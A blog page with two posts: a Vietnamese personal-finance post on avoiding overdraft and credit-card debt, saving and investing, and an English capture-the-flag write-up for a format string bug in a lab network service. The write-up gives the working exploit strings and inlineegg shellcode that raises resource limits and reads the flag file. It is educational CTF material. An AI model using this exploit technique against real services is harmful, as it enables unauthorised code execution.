Wednesday, October 28, 2009

Lại chuyện tiền nong

(nên đọc nếu tiền làm bạn đau đầu :-D)

mình thấy mình thiếu kiến thức nghiêm trọng, hay nói cách khác, cực kỳ ngu dốt, về chuyện quản lý tài chính cá nhân. đi làm 7 năm, làm *chuyên nghiệp* 5 năm, vậy mà nhìn lại tài chính thì rối tung, tài sản thì chỉ được mỗi mụn sách, còn đầu tư thì bỏ lỡ quá trời cơ hội.

giá mà có ai đó nói cho mình biết việc quản lý tài chính này nó quan trọng đến cỡ nào thì có lẽ tình hình đã tốt hơn rất nhiều rồi. ít nhất là không bị mất ngủ vì cái sự ngu dốt của mình.

thôi, bỏ qua. giờ biết mình ngu cũng chưa có muộn lắm. bắt đầu học lại vậy.

----

mình có lời khuyên cho các bạn đang muốn thấu chi (dành cho các bạn không làm ngân hàng: thấu chi là vay tiền ngân hàng, để có thể rút vượt quá số tiền còn lại trong tài khoản). mình nói hoài àh, giờ nhắc lại lần cuối: đừng bao giờ thấu chi! nếu mà mấy năm vừa rồi, các bạn vẫn sống được, thì không cần thấu chi, các bạn vẫn có thể sống tốt.

kinh nghiệm thấu chi của mình đau đớn lắm nha. làm nguyên năm, đến cuối năm, số tiền trong tài khoản vẫn ở dưới 0. điều nguy hiểm nhất là mình vẫn cảm thấy thoải mái vui vẻ, bởi vì mình tự cho rằng mình vẫn còn rất nhiều tiền trong tài khoản!

lãi suất thấu chi là cỡ 1,05%/tháng. thí dụ tài khoản của bạn -50 triệu, thì mỗi tháng bạn phải trả cỡ 525.000 đồng. không nhiều phải hông? nhưng thử nhìn một năm đi, bạn sẽ phải trả 6.300.000 đồng, nhiều hơn lương trung bình một tháng của một người đi làm được 1 năm rồi đó!

thí dụ như hồi trước mình vay 200 triệu. rút ra từa lưa, có khi tài khoản -150 triệu. cuối năm, nó còn -10 triệu. thế là mình tự cho rằng mình vẫn còn 190 triệu để xài, mặc dù rõ ràng mình vẫn còn đang nợ 10 triệu! cái ảo giác có tiền sẵn trong tài khoản, hay là cứ xài trước, trả sau (giống như credit card) sẽ làm cho các bạn trở thành con nợ lúc nào không hay. nó còn ảnh hưởng đến tinh thần, tự một khi bạn nhìn lại, bạn sẽ la lên: WTF, sao làm nguyên năm không dư được đồng nào vậy???

quyết định sáng suốt nhất trong năm vừa rồi của mình là bán bớt *tài sản* để không phải thấu chi nữa. ngoi lên khỏi mặt đất tự dưng thấy cuộc sống đỡ stress hơn rất nhiều. tự lúc này tiền của mình mình xài, không phải vay mượn của ai để xài nữa, mỗi tháng còn được hưởng tiền lời.

nguyên một cái đoạn dài thòng ở trên, chỉ tóm lại có 3 chữ thế này: tránh mang nợ!!!.

có nhiều dạng mang nợ mà không biết lắm nha. ví dụ như xài credit card. credit card là hình thức ngân hàng cho bạn mượn tiền để xài trước, rồi cuối tháng bạn trả sau, giống như thấu chi nhưng mà có thời hạn ngắn hơn. và đương nhiên, lãi suất thường cao hơn. thay vì xài credit card, mình thấy nên sử dụng Visa debit card, cũng mua được hàng trên mạng, cũng quẹt thẻ tốt, nhưng mà là dạng mình nạp vào bao nhiêu thì xài bấy nhiêu, khỏi phải trả lãi.

nói thêm một tí, cái hình thức nạp vào bao nhiêu xài bấy nhiêu này có nhiều lợi ích bất ngờ lắm nha. ví dụ như nó giúp bạn tiết kiệm hơn. lúc mà thẻ hết tiền, để xài được, bạn phải ra ngân hàng nạp vào. cái thủ tục này trở thành vật cản rất lớn, khiến bạn chỉ vượt qua nó khi mà bạn thật sự cần xài tiền. mà nhiều khi, chỉ cần qua vài ngày, tự dưng cái cảm giác muốn xài tiền nó sẽ biến mất. chú ý nha, nếu mà cảm giác đó biến mất, thì rõ ràng là bạn không có cần cái món hàng hay dịch vụ đó!!!

ngoài credit card ra, có những dạng mắc nợ khác mà nếu không chú ý, các bạn sẽ rất bực mình khi phát hiện ra. ví dụ như mấy công ty điện nước. nếu mà trong tháng mà bạn không cung cấp thông tin số điện số nước, bọn nó sẽ tự tính theo số tiền lớn nhất mà một nhà sẽ phải trả. hồi mình mới dọn ra ngoài, do đi vắng thường xuyên, bọn nó không lấy được số điện nước, thành ra tháng nào cũng phải trả maximum tiền điện nước mặc dù chẳng có xài gì.

ngoài ra nếu mà bạn không thanh toán đúng hạn, bọn nó sẽ tính lãi suất theo lãi suất ngân hàng trên số tiền mà bạn đang nợ. bọn Internet FPT còn có kiểu thanh toán hóa đơn trễ 1 ngày là nó sẽ bắt trả thêm 25.000 đồng. đương nhiên là số tiền nhỏ thôi, nhưng tại sao phải trả cho chúng nó nhỉ? để làm từ thiện còn tốt hơn.

giải quyết mấy cái này không khó lắm. mấy ngân hàng hiện đại (ví dụ DongA Bank :-D) đều có dịch vụ thanh toán tự động, cuối tháng sẽ tự động cắt tiền trong tài khoản của bạn gửi cho thằng điện nước hay Internet. nếu mà cắt tiền tự động làm cho bạn không an tâm, thì bạn có thể sử dụng Internet Banking, bạn muốn thanh toán lúc nào thì chỉ cần nhập số bill vào, bấm nút nó sẽ hiện tiền lên, rồi thanh toán thôi, rất tiện lợi.

----

bây giờ lỡ mang nợ rồi thì sao? thì cày trả nợ chứ sao. có 2 hướng trả nợ:

1. trả cái nào lãi suất cao nhất trước. cái này là tối ưu về kinh tế nhất, tự vì cuối cùng tổng số tiền phải trả sẽ là nhỏ nhất.

2. trả cái nào có ít tiền nhất. sở dĩ có phương pháp thứ 2 này, là vì về mặt tâm lý, trả được dứt một món nợ sẽ giúp ích về tinh thần và tạo thêm động lực rất là nhiều, so với việc nai lưng ra trả mãi một món nợ lớn từ năm này qua tháng nọ mà vẫn không dứt.

----

làm thế nào có tiền để trả nợ? cái câu hỏi này thiệt ra nó là một phần của câu hỏi mà mình đã tự hỏi nhiều lần trước đây: xài tiền thế nào?

mình có nói rồi, xài tiền khó hơn kiếm tiền nữa. xài mà ngu thì kiếm bao nhiêu cũng không đủ để xài. kiếm càng được nhiều tiền thì lại càng có xu hướng xài nhiều hơn, kết quả là *của thiên trả địa*, lâu dài nhìn lại chẳng còn cái gì trong tay. ngược lại càng có nhu cầu tiêu xài nhiều, càng phải kiếm nhiều tiền hơn, thế là chẳng còn thời gian để hưởng thụ cuộc sống nữa. nói chung tốt nhất là: kiếm nhiều tiền, xài ít thôi.

đó cũng là yêu cầu thứ nhất: xài ít hơn số tiền kiếm được. phải ít hơn nha, chứ "tháng nào xào tháng đó" thì cũng thua.

nhưng ít hơn bao nhiêu? bao nhiêu cũng được, nhưng càng nhiều càng tốt! đừng có tự làm khó mình quá, mới bắt đầu mà đặt ra mục tiêu để dành 50% thu nhập thì hoặc là sẽ bị suy dinh dưỡng vì ăn uống thiếu thốn hoặc là sẽ bị điên vì suốt ngày nhốt mình trong nhà :-D.

----

con số tối ưu là 20%. ví dụ làm ra 10 triệu, xài 8 triệu (tí nữa nói 8 triệu này xài thế nào), để dành 2 triệu bất kể thế nào. tiền để dành này để làm gì? tiền là thứ tài sản không thể ngồi yên một chỗ được. chỉ có những ông bà già mới để tiền trong két sắt rồi khóa mấy lớp lại. để tiền như thế chẳng khác nào đốt tiền, tự vì tiền nó mất giá theo thời gian mà.

đây là yêu cầu thứ hai: đầu tư phần tiền để dành. đơn giản và an toàn nhất thì bỏ vào một cái tài khoản tiết kiệm. bây giờ mỗi ngày mà các bạn chỉ cần để dành 50.000 đồng, 10 năm sau, các bạn sẽ có hơn 300 triệu, 20 năm sau các bạn sẽ thành tỉ phú! nếu mà để dành 100.000 đồng mỗi ngày thì các bạn chỉ cần 13 năm để trở thành tỉ phú. người ta gọi đây là những "tỉ phú tự động", tự dưng mà thành tỉ phú thôi, chẳng phải làm gì nhiều.

một hướng đầu tư hiệu quả khác nữa là: đầu tư vào chính bản thân bạn. làm cho bạn đẹp hơn, thông thái hơn, nhiều bằng cấp hơn. bỏ tiền ra mua sách hay đăng ký các khóa học thêm sẽ luôn đem lại siêu lợi nhuận. mình từng đầu tư $450 (không phải cho sắc đẹp lol), chỉ 2 tháng sau đã thu lại được hơn $2.000 (và còn nữa), nhưng rất ngu là mình đã tiêu sạch $2.000 đó vì tưởng nó là tiền thưởng :-/.

còn các hướng đầu tư khác mà nhiều người hay đổ tiền vào như chứng khoán, vàng, và bất động sản thì sao? mình thấy mình dốt lắm và không có nhiều tiền nên không dám đầu tư mấy cái này, thành ra cũng không có kinh nghiệm nhiều. mình chỉ có vài ý kiến thế này.

nếu mà chứng khoán ưu đãi, mua càng nhiều càng tốt. bán ra ngay khi nào cần tiền, đừng do dự hay chờ đợi thị trường lên thêm tí xíu nữa, cũng đừng có tin lời ai hết, đếch có thằng nào con nào đoán được thị trường sẽ thế nào đâu. còn các dạng chứng khoán khác, mình thấy không nên dây vào. nếu bạn vẫn muốn đầu tư thì hãy nghĩ thật kỹ về những câu hỏi sau: bạn có đủ kiến thức và kinh nghiệm, bạn có đủ thông tin và mối quan hệ, bạn có đủ tiền để chơi với những tay làm việc ở các công ty chứng khoán, các hay các ngân hàng và quỹ đầu tư trong và ngoài nước?

mình thấy bạn nào bước lên sàn chứng khoán cũng tự tin, lẽ nào mình hoành tráng như vầy mà lại thua trí của mấy bà nội trợ sao? rốt cuộc bà nội trợ thua, mà bạn đó cũng thua luôn, chỉ có mấy thằng công ty chứng khoán với ngân hàng là thắng :-D.

đối với vàng, nếu bạn có nhiều tiền, thì nên mua. nếu mà vàng nó có xuống giá thì sau này làm của hồi môn hay trang sức cũng được :-D. còn kinh doanh trên sàn vàng, thì thôi, thà đi đánh bài còn có cơ hội thắng nhiều hơn.

dẫu vậy, vẫn có những lúc sẽ là cực kỳ ngu ngốc nếu không đầu tư vào vàng hay chứng khoán. ví dụ như nếu VNIndex xuống dưới 400 điểm, mình thấy là nên mua vào. mua cái gì? mình nghĩ nên mua cái gì có tính thanh khoản cao, để khi nào cần tiền thì có thể bán ngay. còn với vàng thì đợi bao giờ nó xuống dưới 2 triệu/lượng thì mua nha :-)).

còn với bất động sản, mình thấy người thì càng lúc càng nhiều, mà đất thì nó không nở ra thêm, thành ra nếu mà có nhiều tiền thì đây là một hướng đầu tư khả quan. mình không có kiến thức hay kinh nghiệm gì, nên chỉ nói được vậy thôi.

àh, nhớ là đừng nên vay tiền để đầu tư nha, trừ khi chắc ăn :-D. mà ở đời ai biết được chữ ngờ phải hông, nên nhiều khi mình thấy chắc ăn nhưng mà ông trời ổng kô thấy như thế thì sao, do đó chỉ nên dùng tiền để dành, tiền nhàn rỗi để đầu tư. có thể số tiền này ít, không tạo nên một *portfolio* hoành tráng nhưng mà đã nói đến đầu tư là nói đến chuyện lâu dài, lấy ít nuôi nhiều, lấy ngắn nuôi dài, chứ không phải chuyện sáng mua chiều bán tối bỏ trốn :-)).

về mặt tinh thần mà nói, việc theo dõi tất cả các diễn biến của thị trường sẽ đem lại nhiều stress hơn là happiness. thị trường mỗi ngày nó lên xuống kô biết bao nhiêu lần, nếu mà theo dõi mỗi giờ, tức là mỗi giờ tim sẽ thay đổi trạng thái từng đó lần. nếu mà theo dõi mỗi ngày, thì tâm trạng chỉ thay đổi mỗi ngày một lần thôi. nếu mà theo dõi mỗi năm một lần, thì tâm trạng cũng thay đổi mỗi năm một lần, khỏe re.

thành ra mình thấy, cứ bỏ tiền đầu tư cái gì đó, đặt một giới hạn thời gian (tính bằng năm) hay là một giới hạn lợi nhuận, rồi cứ mỗi khi một trong hai cái giới hạn này thành hiện thực, thì coi lại xem có nên tiếp tục đầu tư hay không, và đặt ra các giới hạn mới. khỏi phải lo lắng và tốn quá nhiều thời gian.

----

thôi đói bụng rồi. mai nói tiếp xài 8 triệu thế nào. mình nói để tự mình nghe thôi nha, mình đếch phải chuyên gia tài chính cá nhân đâu nên các bạn đừng có tin.

Friday, October 2, 2009

Writing neat shellcode using inlineegg - Sapheads HackJam 2009 Challenge 8

Challenge 8 is a trivial format string bug, but one needs neat shellcode to get the flag.

1. Analysis

First thing first:

$ file t1g3rd

t1g3rd: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), for GNU/Linux 2.6.15, dynamically linked (uses shared libs), not stripped

t1g3rd is a regular network service that when executed would listen on port 7384. When a client comes in, the binary forks a new child process, and calls a function named handleClient. At the begining of handleClient, t1g3rd calls setrlimit(2) to disallow this child process to open new file or fork a new process. This makes the binary a perfect example to illustrate how to write neat shellcode using inlineegg :-D.

handleClient then goes on to read two inputs, which are 19 bytes long and 512 bytes long respectively, from the client. The first input is sent back to the client using printf(3), and the second is just discarded.

2. Vulnerability

As one can guess, the printf(3) call at 0x08048c52 that the binary uses to send the first input back to the client is vulnerable to format string attack. The format string is limited to 19 bytes long, so one needs to choose where to write with which value wisely.

3. Exploit

Usually, with this kind of format string bug, one could overwrite the RIP of handleClient or the RIP of the vulnerable printf(3) call to loop back to the begining of handleClient, so that the binary would read(2) another 19 bytes, and the next printf(3) call would allow her to overwrite some more bytes to somewhere else such as a GOT entry. One could also redirect to right above the first read(2) call, so that it would read(2) more than 19 bytes, which in turn allows him to overwrite as many bytes to any where as he wants. But we don't need to use these techniques here.

Right after the vulnerable printf(3) call is another read(2) call at 0x08048c7f whose pseudo-code looks like:

read(0, input_buffer2, length)

where length is an integer stored at $EBP - 0x228 on the stack. Before this call, at 0x08048b43, length is assigned a default value which is 512. What if we overwrite length so that it becomes 1000? Since input_buffer2 is just 512 bytes long, and we read(2) in 1000 bytes, we would get a classic stack-based buffer overflow.

Here are two exploit strings that we send to the binary:

# overwrite length so that read(0, input_buffer2, length) at 0x08048c7f reads more than 512 bytes
length_slot = 0xbf9c1978 #original length: 0x0000200
new_length = 1000
msg1 = struct.pack('I', length_slot) + '%' + str(new_length) + 'c%134$hn' # this is 18 bytes

# msg2 = SHELLCODE + RET
shellcode = SHELLCODE # shellcode's length should a multiple of 4
msg2 = shellcode + '\x84\x19\x9c\xbf' * ((0x224 - len(msg2))/4) # 0xbf9c1984 = input_buffer2


4. Shellcode

Now I can make t1g3rd run my shellcode, but as I said in Section 1, the binary disallows opening new file or forking new process. That means the shellcode can't do anything useful, i.e. reading the key file or returning a shell. Or can it? What if our shellcode calls setrlmit(2) to set the resource limitations back to normal values?

Then comes the question of the day: how to write shellcode that calls setrlmit(2)? Or a more generic question: how to write shellcode that calls syscalls that accept structures as parameters? Actually, there are 3 ways to write that kind of shellcode: a) write it using Assembly; b) or write a C program, and use ShellForge to get out the respective shellcode; c) or use inlineegg to write it in Python.

As the title of this entry suggests, I'll go with inlineegg. To be honest I hadn't written this kind of shellcode before, so it took me an hour or so to figure out how to do it with inlineegg. This is just basic knowledge, but I hope somebody would find my work useful.

Here is the shellcode:

1. egg = InlineEgg(Linuxx86Syscall)
2. egg.addCode(egg.micro.pushTuple((100, 200)))
3. egg.setrlimit(7, egg.micro.varAtTop().addr()) # RLIMIT_NOFILE
4. buff = egg.alloc(20)
5. fd = egg.save(-1)
6. fd = egg.open(flag_file)
7. nr = egg.read(fd, buff.addr(), 20)
8. egg.write(0, buff.addr(), nr)
9. #egg.execve('/bin/cat',('cat', flag_file)) # easier way
10. egg.exit(0)

The most important lines are 2 and 3 which I would explain shortly. If you want to understand the rest, I suggest you reading inlineegg's documetation and examples.

The prototype of setrlimit(2) is:

int setrlimit(int resource, const struct rlimit *rlim);

where the second parameter is a pointer to a rlimit structure which is:

struct rlimit {
rlim_t rlim_cur; /* Soft limit */
rlim_t rlim_max; /* Hard limit (ceiling for rlim_cur) */
};

So in order to call setrlimit(2), we need to pass to it an address that points to a rlimit structure containing more relaxing values of rlim_cur and rlimit_max.

At line 2, I push a tuple (100, 200) to the stack. egg.micro.pushTuple((100, 200)) would return the Assembly code that pushes 100 and 200 to the stack, and egg.addCode of course would add that code to the egg.

At line 3, egg.micro.varAtTop() would return the variable (see class Variable in inlineegg.py) at the top of the stack. Since we just push 100 and 200 to the stack, this variable would contain these two integers. I call addr() on this variable to get its address, and pass the result as the second argument of the setrlimit(2) syscall.

And that's it! Is it neat? He he he. In the next writeup, I'll illustrate how to use inlineegg to write even sneakier shellcode. Stay tuned and happy hacking!